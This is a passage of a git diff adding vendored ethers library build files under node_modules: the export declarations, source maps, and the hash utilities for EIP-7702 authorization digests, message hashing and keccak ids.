ContractEventPayload, ContractTransactionReceipt, ContractTransactionResponse, ContractUnknownEventPayload, EventLog, UndecodedEventLog } from "./contract/index.js"; +export { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync, lock, Signature, SigningKey } from "./crypto/index.js"; +export { id, ensNormalize, isValidName, namehash, dnsEncode, hashAuthorization, verifyAuthorization, hashMessage, verifyMessage, solidityPacked, solidityPackedKeccak256, solidityPackedSha256, TypedDataEncoder, verifyTypedData } from "./hash/index.js"; +export { getDefaultProvider, Block, FeeData, Log, TransactionReceipt, TransactionResponse, AbstractSigner, NonceManager, VoidSigner, AbstractProvider, FallbackProvider, JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner, BrowserProvider, AlchemyProvider, AnkrProvider, BlockscoutProvider, ChainstackProvider, CloudflareProvider, EtherscanProvider, InfuraProvider, InfuraWebSocketProvider, PocketProvider, QuickNodeProvider, IpcSocketProvider, SocketProvider, WebSocketProvider, EnsResolver, Network, EnsPlugin, EtherscanPlugin, FeeDataNetworkPlugin, FetchUrlFeeDataNetworkPlugin, GasCostPlugin, NetworkPlugin, MulticoinProviderPlugin, SocketBlockSubscriber, SocketEventSubscriber, SocketPendingSubscriber, SocketSubscriber, UnmanagedSubscriber, copyRequest, showThrottleMessage } from "./providers/index.js"; +export { accessListify, authorizationify, computeAddress, recoverAddress, Transaction } from "./transaction/index.js"; +export { decodeBase58, encodeBase58, decodeBase64, encodeBase64, concat, dataLength, dataSlice, getBytes, getBytesCopy, hexlify, isHexString, isBytesLike, stripZerosLeft, zeroPadBytes, zeroPadValue, defineProperties, resolveProperties, assert, assertArgument, assertArgumentCount, assertNormalize, assertPrivate, makeError, isCallException, isError, EventPayload, FetchRequest, FetchResponse, FetchCancelSignal, FixedNumber, getBigInt, getNumber, getUint, toBeArray, toBigInt, toBeHex, toNumber, toQuantity, fromTwos, toTwos, mask, formatEther, parseEther, formatUnits, parseUnits, toUtf8Bytes, toUtf8CodePoints, toUtf8String, Utf8ErrorFuncs, decodeRlp, encodeRlp, uuidV4, } from "./utils/index.js"; +export { Mnemonic, BaseWallet, HDNodeWallet, HDNodeVoidWallet, Wallet, defaultPath, getAccountPath, getIndexedAccountPath, isCrowdsaleJson, isKeystoreJson, decryptCrowdsaleJson, decryptKeystoreJsonSync, decryptKeystoreJson, encryptKeystoreJson, encryptKeystoreJsonSync, } from "./wallet/index.js"; +export { Wordlist, LangEn, WordlistOwl, WordlistOwlA, wordlists } from "./wordlists/index.js"; +export type { JsonFragment, JsonFragmentType, FormatType, FragmentType, InterfaceAbi, ParamTypeWalkFunc, ParamTypeWalkAsyncFunc } from "./abi/index.js"; +export type { Addressable, AddressLike, NameResolver } from "./address/index.js"; +export type { ConstantContractMethod, ContractEvent, ContractEventArgs, ContractEventName, ContractInterface, ContractMethod, ContractMethodArgs, ContractTransaction, DeferredTopicFilter, Overrides, BaseContractMethod, ContractDeployTransaction, PostfixOverrides, WrappedFallback } from "./contract/index.js"; +export type { ProgressCallback, SignatureLike } from "./crypto/index.js"; +export type { AuthorizationRequest, TypedDataDomain, TypedDataField } from "./hash/index.js"; +export type { Provider, Signer, CommunityResourcable, AbstractProviderOptions, BrowserProviderOptions, FallbackProviderOptions, AbstractProviderPlugin, BlockParams, BlockTag, BrowserDiscoverOptions, ContractRunner, DebugEventBrowserProvider, Eip1193Provider, Eip6963ProviderInfo, EventFilter, Filter, FilterByBlockHash, GasCostParameters, JsonRpcApiProviderOptions, JsonRpcError, JsonRpcPayload, JsonRpcResult, JsonRpcTransactionRequest, LogParams, MinedBlock, MinedTransactionResponse, Networkish, OrphanFilter, PerformActionFilter, PerformActionRequest, PerformActionTransaction, PreparedTransactionRequest, ProviderEvent, Subscriber, Subscription, TopicFilter, TransactionReceiptParams, TransactionRequest, TransactionResponseParams, WebSocketCreator, WebSocketLike } from "./providers/index.js"; +export type { AccessList, AccessListish, AccessListEntry, Authorization, AuthorizationLike, Blob, BlobLike, KzgLibrary, KzgLibraryLike, TransactionLike } from "./transaction/index.js"; +export type { BytesLike, BigNumberish, Numeric, ErrorCode, FixedFormat, Utf8ErrorFunc, UnicodeNormalizationForm, Utf8ErrorReason, RlpStructuredData, RlpStructuredDataish, GetUrlResponse, FetchPreflightFunc, FetchProcessFunc, FetchRetryFunc, FetchGatewayFunc, FetchGetUrlFunc, EthersError, UnknownError, NotImplementedError, UnsupportedOperationError, NetworkError, ServerError, TimeoutError, BadDataError, CancelledError, BufferOverrunError, NumericFaultError, InvalidArgumentError, MissingArgumentError, UnexpectedArgumentError, CallExceptionError, InsufficientFundsError, NonceExpiredError, OffchainFaultError, ReplacementUnderpricedError, TransactionReplacedError, UnconfiguredNameError, ActionRejectedError, CodedEthersError, CallExceptionAction, CallExceptionTransaction, EventEmitterable, Listener } from "./utils/index.js"; +export type { CrowdsaleAccount, KeystoreAccount, EncryptOptions } from "./wallet/index.js"; +//# sourceMappingURL=ethers.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/ethers.d.ts.map b/node_modules/ethers/lib.esm/ethers.d.ts.map new file mode 100644 index 000000000000..d7cab7f19f12 --- /dev/null +++ b/node_modules/ethers/lib.esm/ethers.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ethers.d.ts","sourceRoot":"","sources":["../src.ts/ethers.ts"],"names":[],"mappings":"AAKA,OAAO,EAAE,OAAO,EAAE,MAAM,eAAe,CAAC;AAExC,OAAO,EACH,mBAAmB,EAAE,mBAAmB,EAExC,QAAQ,EACR,mBAAmB,EAAE,aAAa,EAAE,aAAa,EAAE,QAAQ,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,aAAa,EAAE,SAAS,EAAE,cAAc,EAEzI,iBAAiB,EAAE,gBAAgB,EAAE,OAAO,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,EAAE,sBAAsB,EACvG,KAAK,GACR,MAAM,gBAAgB,CAAC;AAExB,OAAO,EACH,UAAU,EAAE,cAAc,EAC1B,gBAAgB,EAAE,iB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AsB,CAAC;AAE9B,YAAY,EACR,UAAU,EAAE,aAAa,EAAE,eAAe,EAC1C,aAAa,EAAE,iBAAiB,EAChC,IAAI,EAAE,QAAQ,EAAE,UAAU,EAAE,cAAc,EAC1C,eAAe,EAClB,MAAM,wBAAwB,CAAC;AAEhC,YAAY,EACR,SAAS,EACT,YAAY,EAAE,OAAO,EACrB,SAAS,EACT,WAAW,EACX,aAAa,EAAE,wBAAwB,EAAE,eAAe,EACxD,iBAAiB,EAAE,oBAAoB,EAEvC,cAAc,EACd,kBAAkB,EAAE,gBAAgB,EAAE,cAAc,EACpD,gBAAgB,EAAE,eAAe,EAEjC,WAAW,EAAE,YAAY,EAAE,mBAAmB,EAAE,yBAAyB,EAAE,YAAY,EACvF,WAAW,EAAE,YAAY,EAAE,YAAY,EAAE,cAAc,EAAE,kBAAkB,EAC3E,iBAAiB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,uBAAuB,EACtF,kBAAkB,EAAE,sBAAsB,EAAE,iBAAiB,EAAE,kBAAkB,EACjF,2BAA2B,EAAE,wBAAwB,EAAE,qBAAqB,EAC5E,mBAAmB,EACnB,gBAAgB,EAEhB,mBAAmB,EAAE,wBAAwB,EAC7C,gBAAgB,EAAE,QAAQ,EAC7B,MAAM,kBAAkB,CAAC;AAE1B,YAAY,EACR,gBAAgB,EAAE,eAAe,EAAE,cAAc,EACpD,MAAM,mBAAmB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/ethers.js b/node_modules/ethers/lib.esm/ethers.js new file mode 100644 index 000000000000..630d3169ba9d --- /dev/null +++ b/node_modules/ethers/lib.esm/ethers.js @@ -0,0 +1,16 @@ +///////////////////////////// +// +export { version } from "./_version.js"; +export { decodeBytes32String, encodeBytes32String, AbiCoder, ConstructorFragment, ErrorFragment, EventFragment, Fragment, FallbackFragment, FunctionFragment, NamedFragment, ParamType, StructFragment, checkResultErrors, ErrorDescription, Indexed, Interface, LogDescription, Result, TransactionDescription, Typed, } from "./abi/index.js"; +export { getAddress, getIcapAddress, getCreateAddress, getCreate2Address, isAddressable, isAddress, resolveAddress } from "./address/index.js"; +export { ZeroAddress, WeiPerEther, MaxUint256, MinInt256, MaxInt256, N, ZeroHash, EtherSymbol, MessagePrefix } from "./constants/index.js"; +export { BaseContract, Contract, ContractFactory, ContractEventPayload, ContractTransactionReceipt, ContractTransactionResponse, ContractUnknownEventPayload, EventLog, UndecodedEventLog } from "./contract/index.js"; +export { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync, lock, Signature, SigningKey } from "./crypto/index.js"; +export { id, ensNormalize, isValidName, namehash, dnsEncode, hashAuthorization, verifyAuthorization, hashMessage, verifyMessage, solidityPacked, solidityPackedKeccak256, solidityPackedSha256, TypedDataEncoder, verifyTypedData } from "./hash/index.js"; +export { getDefaultProvider, Block, FeeData, Log, TransactionReceipt, TransactionResponse, AbstractSigner, NonceManager, VoidSigner, AbstractProvider, FallbackProvider, JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner, BrowserProvider, AlchemyProvider, AnkrProvider, BlockscoutProvider, ChainstackProvider, CloudflareProvider, EtherscanProvider, InfuraProvider, InfuraWebSocketProvider, PocketProvider, QuickNodeProvider, IpcSocketProvider, SocketProvider, WebSocketProvider, EnsResolver, Network, EnsPlugin, EtherscanPlugin, FeeDataNetworkPlugin, FetchUrlFeeDataNetworkPlugin, GasCostPlugin, NetworkPlugin, MulticoinProviderPlugin, SocketBlockSubscriber, SocketEventSubscriber, SocketPendingSubscriber, SocketSubscriber, UnmanagedSubscriber, copyRequest, showThrottleMessage } from "./providers/index.js"; +export { accessListify, authorizationify, computeAddress, recoverAddress, Transaction } from "./transaction/index.js"; +export { decodeBase58, encodeBase58, decodeBase64, encodeBase64, concat, dataLength, dataSlice, getBytes, getBytesCopy, hexlify, isHexString, isBytesLike, stripZerosLeft, zeroPadBytes, zeroPadValue, defineProperties, resolveProperties, assert, assertArgument, assertArgumentCount, assertNormalize, assertPrivate, makeError, isCallException, isError, EventPayload, FetchRequest, FetchResponse, FetchCancelSignal, FixedNumber, getBigInt, getNumber, getUint, toBeArray, toBigInt, toBeHex, toNumber, toQuantity, fromTwos, toTwos, mask, formatEther, parseEther, formatUnits, parseUnits, toUtf8Bytes, toUtf8CodePoints, toUtf8String, Utf8ErrorFuncs, decodeRlp, encodeRlp, uuidV4, } from "./utils/index.js"; +export { Mnemonic, BaseWallet, HDNodeWallet, HDNodeVoidWallet, Wallet, defaultPath, getAccountPath, getIndexedAccountPath, isCrowdsaleJson, isKeystoreJson, decryptCrowdsaleJson, decryptKeystoreJsonSync, decryptKeystoreJson, encryptKeystoreJson, encryptKeystoreJsonSync, } from "./wallet/index.js"; +export { Wordlist, LangEn, WordlistOwl, WordlistOwlA, wordlists } from "./wordlists/index.js"; +// dummy change; to pick-up ws security issue changes +//# sourceMappingURL=ethers.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/ethers.js.map b/node_modules/ethers/lib.esm/ethers.js.map new file mode 100644 index 000000000000..199de07529e5 --- /dev/null +++ b/node_modules/ethers/lib.esm/ethers.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ethers.js","sourceRoot":"","sources":["../src.ts/ethers.ts"],"names":[],"mappings":"AAEA,6BAA6B;AAC7B,EAAE;AAEF,OAAO,EAAE,OAAO,EAAE,MAAM,eAAe,CAAC;AAExC,OAAO,EACH,mBAAmB,EAAE,mBAAmB,EAExC,QAAQ,EACR,mBAAmB,EAAE,aAAa,EAAE,aAAa,EAAE,QAAQ,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,aAAa,EAAE,SAAS,EAAE,cAAc,EAEzI,iBAAiB,EAAE,gBAAgB,EAAE,OAAO,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,EAAE,sBAAsB,EACvG,KAAK,GACR,MAAM,gBAAgB,CAAC;AAExB,OAAO,EACH,UAAU,EAAE,cAAc,EAC1B,gBAAgB,EAAE,iBAAiB,EACnC,aAAa,EAAE,SAAS,EA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SAAS,EACzD,MAAM,sBAAsB,CAAC;AAsF9B,qDAAqD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/authorization.d.ts b/node_modules/ethers/lib.esm/hash/authorization.d.ts new file mode 100644 index 000000000000..0d883a2f8be3 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/authorization.d.ts @@ -0,0 +1,18 @@ +import type { Addressable } from "../address/index.js"; +import type { SignatureLike } from "../crypto/index.js"; +import type { BigNumberish, Numeric } from "../utils/index.js"; +export interface AuthorizationRequest { + address: string | Addressable; + nonce?: Numeric; + chainId?: BigNumberish; +} +/** + * Computes the [[link-eip-7702]] authorization digest to sign. + */ +export declare function hashAuthorization(auth: AuthorizationRequest): string; +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +export declare function verifyAuthorization(auth: AuthorizationRequest, sig: SignatureLike): string; +//# sourceMappingURL=authorization.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/authorization.d.ts.map b/node_modules/ethers/lib.esm/hash/authorization.d.ts.map new file mode 100644 index 000000000000..e8899a242d71 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/authorization.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"authorization.d.ts","sourceRoot":"","sources":["../../src.ts/hash/authorization.ts"],"names":[],"mappings":"AAOA,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AACvD,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,oBAAoB,CAAC;AACxD,OAAO,KAAK,EAAE,YAAY,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAE/D,MAAM,WAAW,oBAAoB;IACjC,OAAO,EAAE,MAAM,GAAG,WAAW,CAAC;IAC9B,KAAK,CAAC,EAAE,OAAO,CAAC;IAChB,OAAO,CAAC,EAAE,YAAY,CAAC;CAC1B;AAED;;GAEG;AACH,wBAAgB,iBAAiB,CAAC,IAAI,EAAE,oBAAoB,GAAG,MAAM,CASpE;AAED;;;GAGG;AACH,wBAAgB,mBAAmB,CAAC,IAAI,EAAE,oBAAoB,EAAE,GAAG,EAAE,aAAa,GAAG,MAAM,CAE1F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/authorization.js b/node_modules/ethers/lib.esm/hash/authorization.js new file mode 100644 index 000000000000..2eae64887e22 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/authorization.js @@ -0,0 +1,25 @@ +import { getAddress } from "../address/index.js"; +import { keccak256 } from "../crypto/index.js"; +import { recoverAddress } from "../transaction/index.js"; +import { assertArgument, concat, encodeRlp, toBeArray } from "../utils/index.js"; +/** + * Computes the [[link-eip-7702]] authorization digest to sign. + */ +export function hashAuthorization(auth) { + assertArgument(typeof (auth.address) === "string", "invalid address for hashAuthorization", "auth.address", auth); + return keccak256(concat([ + "0x05", encodeRlp([ + (auth.chainId != null) ? toBeArray(auth.chainId) : "0x", + getAddress(auth.address), + (auth.nonce != null) ? toBeArray(auth.nonce) : "0x", + ]) + ])); +} +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +export function verifyAuthorization(auth, sig) { + return recoverAddress(hashAuthorization(auth), sig); +} +//# sourceMappingURL=authorization.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/authorization.js.map b/node_modules/ethers/lib.esm/hash/authorization.js.map new file mode 100644 index 000000000000..1f40229f54c0 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/authorization.js.map @@ -0,0 +1 @@ +{"version":3,"file":"authorization.js","sourceRoot":"","sources":["../../src.ts/hash/authorization.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AAC/C,OAAO,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AACzD,OAAO,EACH,cAAc,EAAE,MAAM,EAAE,SAAS,EAAE,SAAS,EAC/C,MAAM,mBAAmB,CAAC;AAY3B;;GAEG;AACH,MAAM,UAAU,iBAAiB,CAAC,IAA0B;IACxD,cAAc,CAAC,OAAM,CAAC,IAAI,CAAC,OAAO,CAAC,KAAK,QAAQ,EAAE,uCAAuC,EAAE,cAAc,EAAE,IAAI,CAAC,CAAC;IACjH,OAAO,SAAS,CAAC,MAAM,CAAC;QACpB,MAAM,EAAE,SAAS,CAAC;YACd,CAAC,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC,IAAI,CAAC,OAAO,CAAC,CAAA,CAAC,CAAC,IAAI;YACtD,UAAU,CAAC,IAAI,CAAC,OAAO,CAAC;YACxB,CAAC,IAAI,CAAC,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC,IAAI,CAAC,KAAK,CAAC,CAAA,CAAC,CAAC,IAAI;SACrD,CAAC;KACL,CAAC,CAAC,CAAC;AACR,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,mBAAmB,CAAC,IAA0B,EAAE,GAAkB;IAC9E,OAAO,cAAc,CAAC,iBAAiB,CAAC,IAAI,CAAC,EAAE,GAAG,CAAC,CAAC;AACxD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/id.d.ts b/node_modules/ethers/lib.esm/hash/id.d.ts new file mode 100644 index 000000000000..8d5e05794ac7 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/id.d.ts @@ -0,0 +1,13 @@ +/** + * A simple hashing function which operates on UTF-8 strings to + * compute an 32-byte identifier. + * + * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes + * the [[keccak256]]. + * + * @example: + * id("hello world") + * //_result: + */ +export declare function id(value: string): string; +//# sourceMappingURL=id.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/id.d.ts.map b/node_modules/ethers/lib.esm/hash/id.d.ts.map new file mode 100644 index 000000000000..713788d86de8 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/id.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"id.d.ts","sourceRoot":"","sources":["../../src.ts/hash/id.ts"],"names":[],"mappings":"AAGA;;;;;;;;;;GAUG;AACH,wBAAgB,EAAE,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAExC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/id.js b/node_modules/ethers/lib.esm/hash/id.js new file mode 100644 index 000000000000..1c0289fbff67 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/id.js @@ -0,0 +1,17 @@ +import { keccak256 } from "../crypto/index.js"; +import { toUtf8Bytes } from "../utils/index.js"; +/** + * A simple hashing function which operates on UTF-8 strings to + * compute an 32-byte identifier. + * + * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes + * the [[keccak256]]. + * + * @example: + * id("hello world") + * //_result: + */ +export function id(value) { + return keccak256(toUtf8Bytes(value)); +} +//# sourceMappingURL=id.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/id.js.map b/node_modules/ethers/lib.esm/hash/id.js.map new file mode 100644 index 000000000000..36737c51fe13 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/id.js.map @@ -0,0 +1 @@ +{"version":3,"file":"id.js","sourceRoot":"","sources":["../../src.ts/hash/id.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AAC/C,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAEhD;;;;;;;;;;GAUG;AACH,MAAM,UAAU,EAAE,CAAC,KAAa;IAC5B,OAAO,SAAS,CAAC,WAAW,CAAC,KAAK,CAAC,CAAC,CAAC;AACzC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/index.d.ts b/node_modules/ethers/lib.esm/hash/index.d.ts new file mode 100644 index 000000000000..5b216e5246c2 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/index.d.ts @@ -0,0 +1,15 @@ +/** + * Utilities for common tasks involving hashing. Also see + * [cryptographic hashing](about-crypto-hashing). + * + * @_section: api/hashing:Hashing Utilities [about-hashing] + */ +export { hashAuthorization, verifyAuthorization } from "./authorization.js"; +export { id } from "./id.js"; +export { ensNormalize, isValidName, namehash, dnsEncode } from "./namehash.js"; +export { hashMessage, verifyMessage } from "./message.js"; +export { solidityPacked, solidityPackedKeccak256, solidityPackedSha256 } from "./solidity.js"; +export { TypedDataEncoder, verifyTypedData } from "./typed-data.js"; +export type { AuthorizationRequest } from "./authorization.js"; +export type { TypedDataDomain, TypedDataField } from "./typed-data.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/index.d.ts.map b/node_modules/ethers/lib.esm/hash/index.d.ts.map new file mode 100644 index 000000000000..7fec7492284b --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/hash/index.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,iBAAiB,EAAE,mBAAmB,EAAE,MAAM,oBAAoB,CAAC;AAC5E,OAAO,EAAE,EAAE,EAAE,MAAM,SAAS,CAAA;AAC5B,OAAO,EAAE,YAAY,EAAE,WAAW,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,eAAe,CAAC;AAC/E,OAAO,EAAE,WAAW,EAAE,aAAa,EAAE,MAAM,cAAc,CAAC;AAC1D,OAAO,EACH,cAAc,EAAE,uBAAuB,EAAE,oBAAoB,EAChE,MAAM,eAAe,CAAC;AACvB,OAAO,EAAE,gBAAgB,EAAE,eAAe,EAAE,MAAM,iBAAiB,CAAC;AAEpE,YAAY,EAAE,oBAAoB,EAAE,MAAM,oBAAoB,CAAC;AAC/D,YAAY,EAAE,eAAe,EAAE,cAAc,EAAE,MAAM,iBAAiB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/index.js b/node_modules/ethers/lib.esm/hash/index.js new file mode 100644 index 000000000000..9775b410c84c --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/index.js @@ -0,0 +1,13 @@ +/** + * Utilities for common tasks involving hashing. Also see + * [cryptographic hashing](about-crypto-hashing). + * + * @_section: api/hashing:Hashing Utilities [about-hashing] + */ +export { hashAuthorization, verifyAuthorization } from "./authorization.js"; +export { id } from "./id.js"; +export { ensNormalize, isValidName, namehash, dnsEncode } from "./namehash.js"; +export { hashMessage, verifyMessage } from "./message.js"; +export { solidityPacked, solidityPackedKeccak256, solidityPackedSha256 } from "./solidity.js"; +export { TypedDataEncoder, verifyTypedData } from "./typed-data.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/index.js.map b/node_modules/ethers/lib.esm/hash/index.js.map new file mode 100644 index 000000000000..d3259590809e --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/hash/index.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,iBAAiB,EAAE,mBAAmB,EAAE,MAAM,oBAAoB,CAAC;AAC5E,OAAO,EAAE,EAAE,EAAE,MAAM,SAAS,CAAA;AAC5B,OAAO,EAAE,YAAY,EAAE,WAAW,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,eAAe,CAAC;AAC/E,OAAO,EAAE,WAAW,EAAE,aAAa,EAAE,MAAM,cAAc,CAAC;AAC1D,OAAO,EACH,cAAc,EAAE,uBAAuB,EAAE,oBAAoB,EAChE,MAAM,eAAe,CAAC;AACvB,OAAO,EAAE,gBAAgB,EAAE,eAAe,EAAE,MAAM,iBAAiB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/message.d.ts b/node_modules/ethers/lib.esm/hash/message.d.ts new file mode 100644 index 000000000000..9e088beb25cd --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/message.d.ts @@ -0,0 +1,36 @@ +import type { SignatureLike } from "../crypto/index.js"; +/** + * Computes the [[link-eip-191]] personal-sign message digest to sign. + * + * This prefixes the message with [[MessagePrefix]] and the decimal length + * of %%message%% and computes the [[keccak256]] digest. + * + * If %%message%% is a string, it is converted to its UTF-8 bytes + * first. To compute the digest of a [[DataHexString]], it must be converted + * to [bytes](getBytes). + * + * @example: + * hashMessage("Hello World") + * //_result: + * + * // Hashes the SIX (6) string characters, i.e. + * // [ "0", "x", "4", "2", "4", "3" ] + * hashMessage("0x4243") + * //_result: + * + * // Hashes the TWO (2) bytes [ 0x42, 0x43 ]... + * hashMessage(getBytes("0x4243")) + * //_result: + * + * // ...which is equal to using data + * hashMessage(new Uint8Array([ 0x42, 0x43 ])) + * //_result: + * + */ +export declare function hashMessage(message: Uint8Array | string): string; +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +export declare function verifyMessage(message: Uint8Array | string, sig: SignatureLike): string; +//# sourceMappingURL=message.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/message.d.ts.map b/node_modules/ethers/lib.esm/hash/message.d.ts.map new file mode 100644 index 000000000000..d57b122354b9 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/message.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"message.d.ts","sourceRoot":"","sources":["../../src.ts/hash/message.ts"],"names":[],"mappings":"AAKA,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,oBAAoB,CAAC;AACxD;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2BG;AACH,wBAAgB,WAAW,CAAC,OAAO,EAAE,UAAU,GAAG,MAAM,GAAG,MAAM,CAOhE;AAED;;;GAGG;AACH,wBAAgB,aAAa,CAAC,OAAO,EAAE,UAAU,GAAG,MAAM,EAAE,GAAG,EAAE,aAAa,GAAG,MAAM,CAGtF"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/message.js b/node_modules/ethers/lib.esm/hash/message.js new file mode 100644 index 000000000000..00c999499575 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/message.js @@ -0,0 +1,51 @@ +import { keccak256 } from "../crypto/index.js"; +import { MessagePrefix } from "../constants/index.js"; +import { recoverAddress } from "../transaction/index.js"; +import { concat, toUtf8Bytes } from "../utils/index.js"; +/** + * Computes the [[link-eip-191]] personal-sign message digest to sign. + * + * This prefixes the message with [[MessagePrefix]] and the decimal length + * of %%message%% and computes the [[keccak256]] digest. + * + * If %%message%% is a string, it is converted to its UTF-8 bytes + * first. To compute the digest of a [[DataHexString]], it must be converted + * to [bytes](getBytes). + * + * @example: + * hashMessage("Hello World") + * //_result: + * + * // Hashes the SIX (6) string characters, i.e. + * // [ "0", "x", "4", "2", "4", "3" ] + * hashMessage("0x4243") + * //_result: + * + * // Hashes the TWO (2) bytes [ 0x42, 0x43 ]... + * hashMessage(getBytes("0x4243")) + * //_result: + * + * // ...which is equal to using data + * hashMessage(new Uint8Array([ 0x42, 0x43 ])) + * //_result: + * + */ +export function hashMessage(message) { + if (typeof (message) === "string") { + message = toUtf8Bytes(message); + } + return keccak256(concat([ + toUtf8Bytes(MessagePrefix), + toUtf8Bytes(String(message.length)), + message + ])); +} +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +export function verifyMessage(message, sig) { + const digest = hashMessage(message); + return recoverAddress(digest, sig); +} +//# sourceMappingURL=message.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/message.js.map b/node_modules/ethers/lib.esm/hash/message.js.map new file mode 100644 index 000000000000..ff2ca461473d --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/message.js.map @@ -0,0 +1 @@ +{"version":3,"file":"message.js","sourceRoot":"","sources":["../../src.ts/hash/message.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AAC/C,OAAO,EAAE,aAAa,EAAE,MAAM,uBAAuB,CAAC;AACtD,OAAO,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AACzD,OAAO,EAAE,MAAM,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAGxD;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2BG;AACH,MAAM,UAAU,WAAW,CAAC,OAA4B;IACpD,IAAI,OAAM,CAAC,OAAO,CAAC,KAAK,QAAQ,EAAE;QAAE,OAAO,GAAG,WAAW,CAAC,OAAO,CAAC,CAAC;KAAE;IACrE,OAAO,SAAS,CAAC,MAAM,CAAC;QACpB,WAAW,CAAC,aAAa,CAAC;QAC1B,WAAW,CAAC,MAAM,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;QACnC,OAAO;KACV,CAAC,CAAC,CAAC;AACR,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,aAAa,CAAC,OAA4B,EAAE,GAAkB;IAC1E,MAAM,MAAM,GAAG,WAAW,CAAC,OAAO,CAAC,CAAC;IACpC,OAAO,cAAc,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC;AACvC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/namehash.d.ts b/node_modules/ethers/lib.esm/hash/namehash.d.ts new file mode 100644 index 000000000000..d29b9c11866c --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/namehash.d.ts @@ -0,0 +1,20 @@ +/** + * Returns the ENS %%name%% normalized. + */ +export declare function ensNormalize(name: string): string; 